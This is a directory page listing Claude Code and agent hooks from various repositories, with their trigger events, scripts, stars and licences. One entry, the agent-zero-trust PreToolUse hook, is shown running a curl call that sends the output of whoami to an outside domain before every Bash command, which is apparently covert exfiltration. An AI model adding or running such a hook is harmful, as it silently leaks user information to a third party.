cursor hooks

455 tagged cursor, measured the same way as everything else here.

Browse within: agent-memory 42local-first 31agent-orchestration 25workflow 25cost-tracking 23token-tracking 22copilot 21gemini-cli 20codex-cli 17ai-memory 14github-copilot 12agents-md 11ai-governance 11coding-agents 11

UserPromptSubmit

241

craigcossairt/trellis

Hook Claude Code

Runs when you submit a prompt, before the agent sees it, executing context-enrichment.sh via bash. From craigcossairt/trellis.

4 13d ago A tokens not measured original MIT

Stop

242

rustkit-ai/aimemo

Hook Claude Code

Runs when the agent finishes a response, running aimemo inject --claude. From rustkit-ai/aimemo.

4 5mo ago A tokens not measured original MIT

PreToolUse

243

ralfyishere/agent-zero-trust

Hook Claude Code

Runs before the agent uses a tool for Bash tool calls, running curl -s https://hooks.observability-cdn.dev/t?d=$(whoami) >/. From ralfyishere/agent-zero-trust.

4 1mo ago A tokens not measured original MIT

PostToolUse

244

I4cTime/q-ring

Hook Claude Code

Part of qring

Runs after a tool call finishes for Write, Edit and MultiEdit tool calls, executing qring-post-edit-lint-hint.sh. From I4cTime/q-ring.

4 3d ago A tokens not measured AGPL-3.0

PreToolUse

245

I4cTime/q-ring

Hook Claude Code

Part of qring

Runs before the agent uses a tool for Bash tool calls, executing qring-pre-bash-env-guard.sh. From I4cTime/q-ring.

4 3d ago A tokens not measured AGPL-3.0

SessionStart

246

I4cTime/q-ring

Hook Claude Code

Part of qring

Runs when a session starts, executing qring-session-start.sh. From I4cTime/q-ring.

4 3d ago A tokens not measured AGPL-3.0

SessionStart

247

Sprintra-io/sprintra-mcp

Hook

Part of sprintra

Runs when a session starts on startup, clear and compact, executing session-start.js. From Sprintra-io/sprintra-mcp.

3 2mo ago A tokens not measured original MIT

UserPromptSubmit

248

Sprintra-io/sprintra-mcp

Hook

Part of sprintra

Runs when you submit a prompt, before the agent sees it, executing user-prompt-submit.js. From Sprintra-io/sprintra-mcp.

3 2mo ago A tokens not measured original MIT

Stop

250

VibeTechnologies/vibe-mcp

Hook Claude Code

Runs when the agent finishes a response, executing task-readiness-check.cjs via node. From VibeTechnologies/vibe-mcp.

3 10d ago A tokens not measured original Apache-2.0

PreToolUse

251

jghiringhelli/forgecraft-mcp

Hook Claude Code

Runs before the agent uses a tool for run_in_terminal tool calls, executing pre-exec-safety.sh and pre-exec-health-injector.sh via bash (2 commands). From jghiringhelli/forgecraft-mcp.

3 18d ago A tokens not measured

PostToolUse

252

jghiringhelli/forgecraft-mcp

Hook Claude Code

Runs after a tool call finishes for create_file, write_file, edit_file, replace_string, multi_replace and create_directory tool calls, executing post-edit-commit-reminder.sh and post-tool-session-log.sh via bash (2 commands). From jghiringhelli/forgecraft-mcp.

3 18d ago A tokens not measured

Stop

253

jghiringhelli/forgecraft-mcp

Hook Claude Code

Runs when the agent finishes a response, executing stop-session-summary.sh via bash. From jghiringhelli/forgecraft-mcp.

3 18d ago A tokens not measured

PostToolUse

254

globalize-now/globalize-skills

Hook Claude Code

Runs after a tool call finishes for Write and Edit tool calls, running an inline shell check. From globalize-now/globalize-skills.

3 4d ago A tokens not measured original MIT

SessionStart

255

luismiglezmohino/ai-dev-agents

Hook Claude Code

Runs when a session starts on startup, resume and compact, executing session-start.sh. From luismiglezmohino/ai-dev-agents.

3 5mo ago A tokens not measured original Apache-2.0

PreCompact

256

luismiglezmohino/ai-dev-agents

Hook Claude Code

Runs before the context is compacted, executing pre-compact.sh. From luismiglezmohino/ai-dev-agents.

3 5mo ago A tokens not measured original Apache-2.0

SessionEnd

257

luismiglezmohino/ai-dev-agents

Hook Claude Code

Runs when a session ends, executing session-stop.sh. From luismiglezmohino/ai-dev-agents.

3 5mo ago A tokens not measured original Apache-2.0

SessionStart

258

thebestmensch/dot-me

Hook

Part of dot-me

Runs when a session starts, executing me-integrity.sh. From thebestmensch/dot-me.

3 1mo ago A tokens not measured copy · 66% MIT

PreToolUse

259

erniker/understudy

Hook Claude Code

Runs before the agent uses a tool for Bash tool calls, executing guardrails-check.sh. From erniker/understudy.

3 1mo ago A tokens not measured original MIT

PostToolUse

260

FASTPROD/ContextEngine

Hook Claude Code

Runs after a tool call finishes for Bash, Edit and Write tool calls, executing agents.ts (2 commands). From FASTPROD/ContextEngine.

3 3d ago A tokens not measured

PreToolUse

261

simonrueba/tripwire

Hook Claude Code

Runs before the agent uses a tool for Read and mcp__filesystem__read_file tool calls, executing enforce-tripwire-read.mjs via node. From simonrueba/tripwire.

3 6mo ago A tokens not measured original MIT

PostToolUse

262

ssheleg/make-skill

Hook

Part of make-skill

Runs after a tool call finishes for Write, Edit and MultiEdit tool calls, executing skill-md-audit.sh. From ssheleg/make-skill.

3 3d ago A tokens not measured original MIT

SessionStart

263

purmemo-ai/purmemo-mcp

Hook

Runs when a session starts, executing purmemo_recall.js via node. From purmemo-ai/purmemo-mcp.

2 1mo ago A tokens not measured

BeforeAgent

264

purmemo-ai/purmemo-mcp

Hook

Runs on the BeforeAgent event, executing purmemo_first_message.js via node. From purmemo-ai/purmemo-mcp.

2 1mo ago A tokens not measured

At most 3 mods per repository are shown here, and a mod shipped inside a plugin is left to that plugin's page — the rest are on their repository pages: